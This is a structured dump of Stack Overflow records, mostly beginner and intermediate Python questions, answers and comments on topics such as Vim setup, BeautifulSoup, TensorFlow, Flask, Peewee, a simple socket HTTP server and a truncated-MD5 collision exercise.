has body: Everytime I create a new python file by Vim, I need to type #!/usr/bin/env python. So I intended to let Vim do it for me. However, I just know a little about vimscript and I just try a little bit which I don't think it will work and right, it does not work. :autocmd FileType python i#!/usr/bin/env python&lt;esc&gt; Can anybody help me to implement this use case?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47366527
type: UnansweredQuestion
tagged with: python
tagged with: vim
has title: How to make vim automatically write the fixed comment at beginning?
score: 1

optimization
tags question: http://stackoverflow.com/q/47366872
tags question: http://stackoverflow.com/q/47259715
tags question: http://stackoverflow.com/q/47345723
tags question: http://stackoverflow.com/q/47275847
tags question: http://stackoverflow.com/q/47371056
tags question: http://stackoverflow.com/q/47381835
tag name: optimization
tags question: http://stackoverflow.com/q/47361865
tags question: http://stackoverflow.com/q/47298172
tags question: http://stackoverflow.com/q/47229767
tags question: http://stackoverflow.com/q/47367844
tags question: http://stackoverflow.com/q/47380259
tags question: http://stackoverflow.com/q/47239453
tags question: http://stackoverflow.com/q/47254454
tags question: http://stackoverflow.com/q/47332588
tags question: http://stackoverflow.com/q/47258292
tags question: http://stackoverflow.com/q/47244494
tags question: http://stackoverflow.com/q/47369372
type: Tag

graph
tags question: http://stackoverflow.com/q/47371661
tags question: http://stackoverflow.com/q/47307441
tags question: http://stackoverflow.com/q/47336839
tags question: http://stackoverflow.com/q/47352711
tags question: http://stackoverflow.com/q/47361084
tags question: http://stackoverflow.com/q/47268788
tags question: http://stackoverflow.com/q/47239616
tags question: http://stackoverflow.com/q/47297065
tag name: graph
type: Tag
tags question: http://stackoverflow.com/q/47242038
tags question: http://stackoverflow.com/q/47351416
tags question: http://stackoverflow.com/q/47343170
tags question: http://stackoverflow.com/q/47296488
tags question: http://stackoverflow.com/q/47290045
tags question: http://stackoverflow.com/q/47270298
tags question: http://stackoverflow.com/q/47341773

http://stackoverflow.com/q/47311816
type: Question
has body: I've got a bash script that's starting to cross that grey area where it should probably be rewritten in a scripting language. Since I'm constantly tweaking the script bash is perfect because of how concise things are. Mostly I'm manipulating output from one program to put into another program (i.e. using cat, grep, sed, tail, head). I'm familiar with Python so I'm looking for a module that can essentially perform these commands. I've found some stuff that uses subprocess to call bash commands but I don't want a wrapper for bash commands. I also realize I could simply take the time to write most of these commands in python and even chain them fairly easily if I encapsulated them all into one class. It seems like such an obvious thing though I find it hard to believe these utilities don't exist in a module that already exists.
has title: Python module for shell commands
has comment: http://stackoverflow.com/comment/81575697
has answer: http://stackoverflow.com/a/47312429
has comment: http://stackoverflow.com/comment/81574700
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81577453
tagged with: bash
upvote count: 0
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81577270
downvote count: 1
has comment: http://stackoverflow.com/comment/81575756
favorite count: 0

http://stackoverflow.com/comment/81546940
score: 0
has text: Also, it's easier to just use the csv module to handle this. Also, for your function, you can just use a dictionary instead of putting so many ifs.
comment on: http://stackoverflow.com/q/47297656
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47258599
has comment: http://stackoverflow.com/comment/81467893
has comment: http://stackoverflow.com/comment/81468322
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/81467976
score: 0
answer count: 1
has body: I have a BeautifulSoup object (web page), and I've honed in on one HTML paragraph of interest. It has several items in it, and I'd like to clean out the junk (anything other than text). I have the items from the paragraph in a list after calling the paragraph's Contents attribute (e.g. paragraph_name.contents), but need help clearing out the items with HTML tags in the list. Here's what the list looks like: [u'\n', Early Education Enrollment: 0, , u'\r\n Elementary Enrollment: 231', , u'\r\n Middle School Enrollment: 118', , u'\r\n High School Enrollment: 121', , u'\r\n Total Enrollment: 470', , u'\n', I20: True, , u'\r\n Grade Levels: K - 12', , u'\r\n Year Founded: 1999', , u'\n', Other Accreditation: AdvancED, SACS, u'\n'] Here is all the code you'll need to recreate the exact issue I'm having on your machine so we can truly work the same problem: from bs4 import BeautifulSoup as BS # the sample html as a BeautifulSoup Object: soup = BS(' \nEarly Education Enrollment: 0 \r\n Elementary Enrollment: 231 \r\n Middle School Enrollment: 118 \r\n High School Enrollment: 121 \r\n Total Enrollment: 470 \nI20: True \r\n Grade Levels: K - 12 \r\n Year Founded: 1999 \nOther Accreditation: AdvancED, SACS\n ', 'lxml') # hone in on the paragraph I want to parse through: target_p = soup.find('p') # organize paragraph items into a list, although including junk for now: dirty_list = target_p.contents # clean up list using method I need help with: clean_list = I figured list comprehensions were the way to go, but can't figure out how to hone in on the html tags. This doesn't work: clean_list = [x for x in dirty_list if x != ' '] Thank you!
accepted answer: http://stackoverflow.com/a/47259369
tagged with: beautifulsoup
type: Question
has answer: http://stackoverflow.com/a/47259369
has title: Python BeautifulSoup remove items with tags from list
has comment: http://stackoverflow.com/comment/81468260
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/81468009

http://stackoverflow.com/q/47364340
favorite count: 0
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/47364510
has body: i have two lists and need to combine the into one dictionary that the key are the letters and the values are the value in the other list. for example: map_keys_to_values_list(["a", "b", "a"], [15, 3, 6]) wll give me : {'a': [15, 6], 'b': [3]} i tried: def keys_to_values_list(k_lst, v_lst): lst = [] for i in range(len(k_lst)): v=[] #v.append(v_lst[i]) t = (k_lst[i],v) lst.append(t) my_dict = dict(lst) for k in my_dict.keys(): val = my_dict.get(k) for m in range(len(k_lst)): val.append(v_lst[m]) return my_dict but i get all the values in my value list
tagged with: dictionary
has title: how can i combine all the values of an item in other list using dictionaries in python?
accepted answer: http://stackoverflow.com/a/47364376
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47364376
answer count: 3
upvote count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/47364378
has answer: http://stackoverflow.com/a/47364378

faker
tags question: http://stackoverflow.com/q/47299415
type: Tag
tag name: faker

http://stackoverflow.com/q/47231588
score: 0
possible better answer: http://stackoverflow.com/a/47236151
linked to: http://stackoverflow.com/q/1522564
has answer: http://stackoverflow.com/a/48739633
accepted answer: http://stackoverflow.com/a/48739633
tagged with: tensorflow
type: Question
linked to: http://stackoverflow.com/q/33977273
tagged with: terminal
answer count: 2
tagged with: classification
has title: Where to write python script for image classifiers
has answer: http://stackoverflow.com/a/47236151
has body: I am trying to learn how to retrain an image classifier using transfer learning. I am following the steps shown in this tutorial. I successfully retrained the model but I come across problems in the last step where he writes python script for classifying the newly trained model. In the video, he starts writing the code at 4:18 but does not specify where. I try writing it in the docker container but it gives me the no module named platform error and the NameError: name 'sys' is not defined error. I try writing it locally in my machine and get errors as well since I do not have the dependencies installed locally. I am not sure where to write the python code for the final step in the tutorial. Any help is appreciated. Terminal code and errors: root@dbe57bdfb014:/tensorflow# python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import tensorflow as tf, sys Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "tensorflow/__init__.py", line 24, in &lt;module&gt; from tensorflow.python import * File "tensorflow/python/__init__.py", line 49, in &lt;module&gt; from tensorflow.python import pywrap_tensorflow File "tensorflow/python/pywrap_tensorflow.py", line 25, in &lt;module&gt; from tensorflow.python.platform import self_check ImportError: No module named platform &gt;&gt;&gt; image_path = sys.argv[1] Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; NameError: name 'sys' is not defined
tagged with: python
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/22907231

http://stackoverflow.com/q/47283662
has answer: http://stackoverflow.com/a/47283770
has answer: http://stackoverflow.com/a/47283751
type: Question
tagged with: export-to-csv
answer count: 2
accepted answer: http://stackoverflow.com/a/47283751
has body: I have a Python 2.7 script that looks like this: import requests url = "https://example.net/rest/v1/m/4513452615415" querystring = {"client":"wzas"} payload = "{\r\n \"sss\" : \""+msse+"\",\r\n\"VisitorId\":\""+mcid+"\",\r\n \"thirdPartyId\": \""+tracking_id+"\",\r\n \"contentAsJson\": \"true\",\r\n \"mbssParameters\": \r\n { \r\n \"mboxMCGLH\": \"6\" \r\n }\r\n}\r\n" headers = { 'content-type': "application/json", 'cache-control': "no-cache", 'postman-token': "289f645d-1543-e6df-87fb-1cef88f110c5" } response = requests.request("POST", url, data=payload, headers=headers, params=querystring) return (response.text) The output is sent to a CSV file and looks like this: {"thirdPartyId":"559yZDIIs3XvFpLPhvjexK7/jYlT7ZwJXBpNc/ZS4A1saWdodG5pbmdzZWVkcw==","marketingId":"89137879111811717593914206190290951066814","edgeHost":"mrdge21.example.net","content":{"tnsVal":"931113:4:0","contentName":"examplecontent","revenue":14},"sessionId":"4513452615415"} How would I only output the contentName and tnsVal ? Thanks in advance Nick
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has title: How do I a retrieve specific value from JSON output in Python 2.7?
possible better answer: http://stackoverflow.com/a/47283770
has comment: http://stackoverflow.com/comment/81517422
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/47264630
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47265360
accepted answer: http://stackoverflow.com/a/47265360
possible better answer: http://stackoverflow.com/a/47265096
has body: One of the issues is I’m running into is getting additional data from a command in slack. I️ don’t want to use Slash commands because I️ can’t expose my localhost to the world. Example: @mybot do Will return, let’s say “I’m doing something”. However I️ want to be able to do something like @mybot do 2 Where 2 is a parameter in the back end. Basically what I’m trying to do is have it where the user can say @mybot do 2 and it will get data from the database where the ID is 2. You could make it a 3, 4, 5 etc and the command will pull the information from the database. I️ have found where I️ can make it match the exact “do” command, though I️ can’t get it to read the follow on data. I️ was following this tutorial. Any help will be great. if you see weird symbols it’s because I’m doing this from an iPhone and I️ have that stupid bug where the turns I️ (eye) into I️
tagged with: python
has title: Getting additional input from SlackClient using python
tagged with: slack
score: 2
upvote count: 2
type: AnsweredQuestion
answer count: 2
tagged with: bots
downvote count: 0
has answer: http://stackoverflow.com/a/47265096
tagged with: slack-api
favorite count: 0
type: Question

http://stackoverflow.com/comment/81725542
type: QuestionComment
score: 0
has text: How do you edit the files currently? Also, if you cannot trust python to recreate the whole file, why trust it to edit a few bytes? It sounds like you should be writing in C or something else similarly low-level so that you can have *complete* control of the I/O.
comment on: http://stackoverflow.com/q/47276878
type: Comment

http://stackoverflow.com/comment/95827281
comment on: http://stackoverflow.com/a/47328983
has text: No I meant what should I do when I get 2 quantities that I need to add. For eg. `100 g 95% pure ABC + 100 g FREE` would mean adding `100 * 1 + 100 * 1` and then multiplying with `95 * 0.01` to get `190`. How can I do this?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/81667666
comment on: http://stackoverflow.com/q/47356964
type: Comment
type: QuestionComment
has text: whats your input ( food name )?
score: 0

http://stackoverflow.com/comment/82601332
comment on: http://stackoverflow.com/a/47390689
type: AnswerComment
score: 0
type: Comment
has text: Thanks so much forvas por your response.

http://stackoverflow.com/q/47226007
favorite count: 0
type: Question
tagged with: python-3.x
has title: Plotly Y ticks labels
type: UnansweredQuestion
tagged with: python
has body: I am trying to set custom labels on y axis in plotly. That's how my layout looks like: layout = dict(title = 'Tracer', dragmode = 'zoom', showlegend = True, yaxis = dict( tickvals = yTickValues, ticktext = yTickNames, showticklabels = True, ), ) The labels ['RwHandlerI2c', 'OrganizedTxSsp0', 'PIN_INT5_IRQn'] have the wrong formatting. Experimentaly I have found that the problem in "RwHandlerI2c" label is in the digit '2', label named 'RwHandlerIc' is shown properly. Am I losing something in formatting? And how to make the separate column for the labels, so they don't overlap the plot. import plotly.plotly as py import plotly.graph_objs as go from plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot import datetime yTickValues = list(range(8)) yTickNames = ['StartSendingSsp0', 'OrganizedTxSsp0', 'I2cRwHandler', 'GpsParser', 'SSP1_IRQn', 'USART0_IRQn', 'RTC_IRQn', 'I2C_IRQn'] xaxis = [datetime.datetime(2000, 1, 1, 0, 0, 0, 686002), datetime.datetime(2000, 1, 1, 0, 0, 0, 686008), datetime.datetime(2000, 1, 1, 0, 0, 0, 686045), datetime.datetime(2000, 1, 1, 0, 0, 0, 686176), datetime.datetime(2000, 1, 1, 0, 0, 0, 686192), datetime.datetime(2000, 1, 1, 0, 0, 0, 686523), datetime.datetime(2000, 1, 1, 0, 0, 0, 686530)] yaxis = list(range(8)) # Create a trace trace = go.Scatter( x = xaxis, y = yaxis, mode = 'markers' ) layout = dict(title = 'Tracer', yaxis = dict( tickvals = yTickValues, ticktext = yTickNames, showticklabels = True, ) ) data = [trace] fig = dict(data=data, layout=layout) plot(fig, filename='example')
answer count: 0
has comment: http://stackoverflow.com/comment/81408241
tagged with: plotly
has comment: http://stackoverflow.com/comment/81499868
downvote count: 0
has comment: http://stackoverflow.com/comment/81476812
score: 1
upvote count: 1

http://stackoverflow.com/q/47280885
tagged with: flask
has comment: http://stackoverflow.com/comment/81513810
type: Question
has comment: http://stackoverflow.com/comment/81513506
tagged with: python
has title: Flask Restful RequestParser Does Not Take Arguments From URL
tagged with: flask-restful
has body: I have a project. Everything is awesome on my local device. But on remote server, where it should be run, RequestParser does not take any arguments/parameters in the URL. Example: class Example(Resource): def get(self): parser = reqparse.RequestParser() parser.add_argument('foo1') parser.add_argument('foo2') args = parser.parse_args() return jsonify({'foo1': args['foo1'], 'foo2': args['foo2']}) The args['foo1'] and args['foo2'] will always null even I call /example?foo1=a&amp;foo2=b but this is only happen on my remote server. Any thought or solution? Thanks
has comment: http://stackoverflow.com/comment/81514903
score: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81514328
has comment: http://stackoverflow.com/comment/81513264
has comment: http://stackoverflow.com/comment/81513637
has comment: http://stackoverflow.com/comment/81515321
has comment: http://stackoverflow.com/comment/81514092

http://stackoverflow.com/q/47284442
score: 0
has title: cannot import google places api Python
type: Question
has answer: http://stackoverflow.com/a/60808049
tagged with: google-places-api
answer count: 2
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49028395
has body: I installes this package : https://github.com/slimkrazy/python-google-places with the following steps: pip install https://github.com/slimkrazy/python-google-places/zipball/master OR pip install python-google-places Download source and then: python setup.py install But when I try to imprt it, it says that there is no module named googleplaces, even if I can lockate the library in my library directory ( C:\Python\Lib\site-packages ) I tried adding it to the Python Path variable, but it doesn't work. Thanks for your help

http://stackoverflow.com/q/47278298
has body: I Have followed the steps on Tensorflow as descrived and was able Activate source ~/tensorflow/bin/activate and installed (tensorflow)$ pip3 install --upgrade tensorflow everthing worked out fine and i was able to run the tensorflow Hello World program. I looked my local jupyter path (tensorflow)username$ which jupyter (tensorflow)username$/Library/Frameworks/Python.framework/Versions/3.6/bin/jupyter Then I tried to install jupyter on tensorflow Virtualenv (tensorflow) username$ pip3 install jupyter Requirement already satisfied: jupyter in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages Requirement already satisfied: ipywidgets in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages (from jupyter) ..................... ..................... Then I deactivated the virtual environment and restarted my terminal and again activated tensorflow. I tried to double check my path on the virtualenv. Got the same thing again. (tensorflow)username$ which jupyter (tensorflow)username$/Library/Frameworks/Python.framework/Versions/3.6/bin/jupyter I tried all the blogs solutions including pip install --upgrade $TF_BINARY_URL Now when even I run Hello World in Jupyter notebook I get This
favorite count: 0
has comment: http://stackoverflow.com/comment/81547327
has comment: http://stackoverflow.com/comment/81507686
has title: Unable to run Jupyter Notebook plus TensorFlow in Virtualenv
score: 1
tagged with: tensorflow
tagged with: jupyter-notebook
type: Question
tagged with: python-3.x
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
tagged with: virtualenv

http://stackoverflow.com/a/47237202
has body: You need to append a copy of game_list every time. You can do it by appending game_list[:] instead of game_list import random val = True game_list = [] game_list_bkp = [] usr_input = 1 while usr_input &lt; 5: if usr_input &gt; 0: game_list.append(random.randint(1, 9)) game_list_bkp.append(game_list[:]) print (game_list_bkp) if usr_input != 0: usr_input = int(input("Enter:")) else: val = False
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/47237158
upvote count: 1
type: Answer

http://stackoverflow.com/a/47249475
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47249405
has comment: http://stackoverflow.com/comment/81449780
downvote count: 0
upvote count: 1
has body: I believe you need: df = df.loc[:, df.loc['datatype'] == 'train'] print (df) 1 2 filename CF02_B1_D1_M3.wav F02_B2_D1_M2.wav datatype train train label 1 1 feature0 18.2796 17.8995 feature1 -3.92135 -15.5039 feature2 13.6118 -0.741729 feature3 -7.25019 -0.0536188 feature4 -11.7736 -6.73465 feature5 -18.265 4.39842 feature6 -18.1045 -1.88591 feature7 -10.3347 -12.4131 feature8 -15.5189 1.84178 feature9 -13.8793 -2.21513 feature10 -11.2372 -14.6925 feature11 -13.1699 7.65947 feature12 -13.2874 3.11805 feature13 18.529 17.9096 Then if need remove first 3 rows by names: df = df.drop(['filename','datatype','label']) Or by positions: df = df.iloc[3:] print (df) 1 2 feature0 18.2796 17.8995 feature1 -3.92135 -15.5039 feature2 13.6118 -0.741729 feature3 -7.25019 -0.0536188 feature4 -11.7736 -6.73465 feature5 -18.265 4.39842 feature6 -18.1045 -1.88591 feature7 -10.3347 -12.4131 feature8 -15.5189 1.84178 feature9 -13.8793 -2.21513 feature10 -11.2372 -14.6925 feature11 -13.1699 7.65947 feature12 -13.2874 3.11805 feature13 18.529 17.9096

http://stackoverflow.com/q/47319836
score: 11
favorite count: 0
has body: So far every other answer on SO answers in the exact same way: construct your metaclasses and then inherit the 'joined' version of those metaclasses, i.e. class M_A(type): pass class M_B(type): pass class A(metaclass=M_A): pass class B(metaclass=M_B): pass class M_C(M_A, M_B): pass class C:(A, B, metaclass=M_C): pass But I don't know what world these people are living in, where they're constructing your own metaclasses! Obviously, one would be using classes from other libraries and unless you have a perfect handle on meta programming, how are you supposed to know whether you can just override a class's metaclass? (Clearly I do not have a handle on them yet). My problem is: class InterfaceToTransactions(ABC): def account(self): return None ... class Category(PolymorphicModel, InterfaceToTransactions): def account(self): return self.source_account ... class Income(TimeStampedModel, InterfaceToTransactions): def account(self): return self.destination_account ... Which of course gives me the error: "metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases" I've tried many variations of the solution given above, the following does not work, gives the same error. class InterfaceToTransactionsIntermediaryMeta(type(PolymorphicModel), type(InterfaceToTransactions)): pass class Category(PolymorphicModel, InterfaceToTransactions): __metaclass__ = InterfaceToTransactionsIntermediaryMeta ... Nor does putting anything inside the class Meta function. I've read every single other SO question on this topic, please don't simply mark it as duplicate. -------------------Edited 1/8/18 after accepting the solution------- Oddly enough, if I try to makemigrations with this new configuration (the one I accepted), it starts giving the metaclass error again, but it still works during runtime. If I comment out the metaclass parts then makemigrations and migrate, it will do it successfully, but then I have to put it back in there a…
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/64173608
tagged with: django-polymorphic
has title: Using ABC, PolymorphicModel, django-models gives metaclass conflict
has comment: http://stackoverflow.com/comment/88603181
tagged with: python
tagged with: abc
has comment: http://stackoverflow.com/comment/88603409
has comment: http://stackoverflow.com/comment/81592098
upvote count: 11
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/64173608
tagged with: metaclass
has answer: http://stackoverflow.com/a/47330563
accepted answer: http://stackoverflow.com/a/47330563
has comment: http://stackoverflow.com/comment/88606926
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/81667427

dictionary-comprehension
tags question: http://stackoverflow.com/q/47273509
type: Tag
tag name: dictionary-comprehension

http://stackoverflow.com/q/47286828
has body: We have out own portal which is designed in .ASP. And in that portal there are multiple tabs. To monitor each page and their loading time (to monitor slowness of each page) I have below code. I have copied all the .asp pages in one notepad and this script fetches each one to monitor. (Hoping httpauth works) When I tried to send email if status code is other than 200 and time taken more than 0.5 sec it will shoot mail But for each URL it sends different mail, also it only gives URL in subject line. How do I make like to send only one mail including all errors with respective urls. i.e. https://example.org/node.asp - status 404 https://example.org/frame.asp - response time is 2 sec. https://example.org/ticketgen.asp - response time is 5 sec. https://example.org/alert.asp - status 500 Below is my code #!/usr/bin/env python import pickle, os, sys, logging from httplib import HTTPConnection, socket from smtplib import SMTP from requests.auth import HTTPBasicAuth import requests def get_response_time(url): return requests.get(url, auth=HTTPBasicAuth('admin', 'secpasswd')).elapsed.total_seconds() def email_alert(message, status): fromaddr = 'abc@mysite.com' toaddrs = 'xyz@mysite.com' server = SMTP('smtp.office365.com') server.starttls() server.login(fromaddr, 'mypasswd') server.sendmail(fromaddr, toaddrs, 'Subject: %s\r\n%s' % (status, message)) server.quit() def get_site_status(url): response = get_response(url) try: if response == 200: return 'up' except AttributeError: pass return 'down' def get_response(url): '''Return response object from URL''' try: conn = requests.get(url, auth=HTTPBasicAuth('admin', 'secpasswd')) #conn.request('HEAD', '/') return conn.status_code except socket.error: return None except Exception as e: print(e) logging.error('Bad URL:{}'.format( url)) exit(1) def get_headers(url): '''Gets all headers from URL request and returns''' response = get_response(url) try: return getattr(response, 'getheaders')() except AttributeError: return 'Headers unava…
answer count: 1
tagged with: email
downvote count: 1
favorite count: 0
type: Question
has title: HTT response code and Status code in mail by python
type: UnansweredQuestion
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81552220
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81523801
upvote count: 0
has answer: http://stackoverflow.com/a/47287183

http://stackoverflow.com/q/47376967
favorite count: 0
type: Question
answer count: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/47377083
downvote count: 0
has answer: http://stackoverflow.com/a/47377083
has body: I keep getting this error, but I can't understand what I'm doing wrong. I've looked at other similar questions and tried to apply them, but it didn't work. The code is to chekc if the individual digits in a number, when ^3 equal to that original number. def addCubes(a): total = 0 for i in (0, len(str(a))): total += (a[i])**3 if total == a: print("feck yah") else: print("NEIN!!!")
tagged with: python
possible better answer: http://stackoverflow.com/a/47378076
has answer: http://stackoverflow.com/a/47378076
type: AnsweredQuestion
tagged with: int
score: 2
tagged with: typeerror
has title: String object should be subscriptable but says int not subscriptable
has comment: http://stackoverflow.com/comment/81706009

http://stackoverflow.com/a/47327775
has body: The variable you need to test for is not necesarily nr_objects. It's whatever appears to the left of the call to the function. i.e. test_me = DropletRecognition(... your arguments here) if test_me == 1: break elif test_me &gt; 1: voltage +=80 else: voltage-=80
type: Answer
answers question: http://stackoverflow.com/q/47327647
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/47308920
has comment: http://stackoverflow.com/comment/81569563
has comment: http://stackoverflow.com/comment/81568502
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81568519
has comment: http://stackoverflow.com/comment/81569351
has body: We've been given this code. And it must not be changed. from hashlib import md5 def md_half(s): return md5(s.encode("ascii")).digest()[:6] So it's parameter "s" is a string. Only the first characters of that string get encoded with md5. The string can be anything. My question is: How can I get 2x exact same hash strings (only the first 6 bytes of the encoded string (hash) have to be the same) I know it is possible as I did some research: https://en.wikipedia.org/wiki/Birthday_problem I've tried to save the string and the endoded string in a dist and check if it exists but this is a very time consuming process, because it can take up to 1/2^128 tries for it to reach the same encoded string. I've did the search like this: from hashlib import md5 import string import os from random import * def random_word(): allchar = string.ascii_letters + string.punctuation + string.digits word = "".join(choice(allchar) for x in range(randint(6, 6))) return word def md_half(s): return md5(s.encode("ascii")).digest()[:6] md_array={} num_of_items=0 while(1): num_of_items=len(md_array) print(num_of_items) word=random_word() if(word not in md_array): crypt_string=md_half(word) if(crypt_string not in md_array.values()): item={word : crypt_string} md_array.update(item) else: print("Found it!") break os.system('cls') Basicly it generates a random string. Tests if it exists in the "md_array" and if not makes a md5 encode of that string and tests if it exists in the array. If it doesn't it adds it to the array repeating the process. But like I said it's a very time consuming matter. I'm searching for a way to force the so called "collision of 2 encoded md5 strings" to happen. If there is a faster way i'd be glad if you could help me. Dislamer: This is for school research purposes and is not to be used in any projects. I've been given a task to try to find the FASTEST solution possible. Thank you all for reading and I hope we find some answers together.
tagged with: python
has comment: http://stackoverflow.com/comment/81569112
has comment: http://stackoverflow.com/comment/81569076
has comment: http://stackoverflow.com/comment/81568290
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81568329
has title: Python - How to get 2 same MD5 strings (6 bytes long)
tagged with: md5
tagged with: string
has comment: http://stackoverflow.com/comment/81569920
type: Question

http://stackoverflow.com/q/47234364
has body: I wish to use it with Opencv in python. I know that i could create a custom cascade classifier, but i don't have time to do that. Is there a better or faster way to do this?? Any help would be appreciated
tagged with: face-recognition
type: Question
tagged with: opencv
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47249175
score: 0
tagged with: feature-detection
answer count: 1
has title: Is there a pre-existing haarcascade .xml file for frown detection which can be used to detect whether a person is frowning or sad?

http://stackoverflow.com/comment/81547305
score: 0
type: Comment
has text: @NikitaSöze Please mark my answer as correct if it worked for you.
type: AnswerComment
comment on: http://stackoverflow.com/a/47242020

http://stackoverflow.com/q/47256681
type: Question
tagged with: peewee
has comment: http://stackoverflow.com/comment/81464318
type: UnansweredQuestion
has title: Why, instead of being modified, is the data getting added as a new row?
tagged with: python
has comment: http://stackoverflow.com/comment/81464613
score: 0
answer count: 0
tagged with: sqlite
has comment: http://stackoverflow.com/comment/81466898
has body: I am using Peewee for Python and trying to update the name of an instance, but instead of updating the instance, it is getting added as a new one. What is wrong? from peewee import * from datetime import date db=SqliteDatabase('people.db') class Person(Model): name=CharField() birthday=DateField() is_relative=BooleanField() class Meta: database=db class Pet(Model): owner=ForeignKeyField(Person,related_name='pets') name=CharField() animal_type=CharField() class Meta: database=db db.connect() db.create_tables([Person,Pet],safe=True) uncle_bob=Person(name='Bob',birthday=date(1960,1,15),is_relative=True) uncle_bob.save() grandma = Person.create(name='Grandma', birthday=date(1935, 3, 1), is_relative=True) herb = Person.create(name='Herb', birthday=date(1950, 5, 5), is_relative=False) grandma.name='Grand Dadi' grandma.save() I am getting the following table: 1|Bob|1960-01-15|1 2|Grandma|1935-03-01|1 3|Herb|1950-05-05|0 4|Bob|1960-01-15|1 5|Grand Dadi|1935-03-01|1 6|Herb|1950-05-05|0

http://stackoverflow.com/q/47376433
tagged with: sockets
has title: Python HTTP server giving error some time after
tagged with: python
has body: I coded a Python HTTP server as below and I run the server from the directory which this python file exist. I am typing "python myserver.py" in the cmd and server succesfully starts and reads the index.html in the directory but my problem is after some time my code gives the following error and closes the server Traceback (most recent call last): File "myserver.py", line 20, in requesting_file = string_list[1] IndexError: list index out of range How can I fix this problem ? import socket HOST,PORT = '127.0.0.1',8082 my_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) my_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) my_socket.bind((HOST,PORT)) my_socket.listen(1) print('Serving on port ',PORT) while True: connection,address = my_socket.accept() request = connection.recv(1024).decode('utf-8') string_list = request.split(' ') # Split request from spaces print (request) method = string_list[0] requesting_file = string_list[1] print('Client request ',requesting_file) myfile = requesting_file.split('?')[0] # After the "?" symbol not relevent here myfile = myfile.lstrip('/') if(myfile == ''): myfile = 'index.html' # Load index file as default try: file = open(myfile,'rb') # open file , r => read , b => byte format response = file.read() file.close() header = 'HTTP/1.1 200 OK\n' if(myfile.endswith(".jpg")): mimetype = 'image/jpg' elif(myfile.endswith(".css")): mimetype = 'text/css' else: mimetype = 'text/html' header += 'Content-Type: '+str(mimetype)+'\n\n' except Exception as e: header = 'HTTP/1.1 404 Not Found\n\n' response = ' Error 404: File not found Python HTTP Server '.encode('utf-8') final_response = header.encode('utf-8') final_response += response connection.send(final_response) connection.close()
type: Question
tagged with: python-3.x
score: 0
tagged with: tcp
answer count: 1
accepted answer: http://stackoverflow.com/a/47376803
tagged with: http
has answer: http://stackoverflow.com/a/47376803
has comment: http://stackoverflow.com/comment/81705022
type: AnsweredQuestion

http://stackoverflow.com/comment/81534557
has text: Thank you so much!
comment on: http://stackoverflow.com/a/47290019
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81476329
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47262359
has text: user1 .. this simple prints 0

http://stackoverflow.com/comment/81569386
type: Comment
type: QuestionComment
has text: reinstall `cx_Freeze 5.1`(maybe python too) and get this one `cx_Freeze-6.0b1-cp36-cp36m-win32.whl` and new python version. This seems to be working for some others.
comment on: http://stackoverflow.com/q/47308752
score: 0

http://stackoverflow.com/q/47316410
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/47527098
has body: in my models, I have the following code: class Product(models.Model): display_picture = CloudinaryField('Display Picture') It allows me to upload images directly to Cloudinary using a simple Django form. However, I need to get the height of these images. How exactly do I do this? Is there a built-in method that I can call that returns the height? Thanks.
has title: Getting the height of a Cloudinary Image Object in Django
answer count: 1
tagged with: cloudinary
type: Question
has comment: http://stackoverflow.com/comment/81589605
type: UnansweredQuestion
tagged with: django

http://stackoverflow.com/a/47365458
downvote count: 0
upvote count: 1
type: Answer
has body: hmm there's some method to write to a file without reading it i believe Add text to end of line without loading file https://docs.python.org/2.7/library/functions.html#print from __future__ import print_function # if you are using python2.7 i = open("input","r") f = open("output.txt","w") a = "awesome" for line in i: #iterate lines in file input line.strip() #this will remove the \n in the end of the string print(line,end=" ",file=f) #this will write to file output with space at the end of it this might help, i'm a newbie too, but with better google fu XD
answers question: http://stackoverflow.com/q/47365093
score: 1

http://stackoverflow.com/q/47360534
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81674075
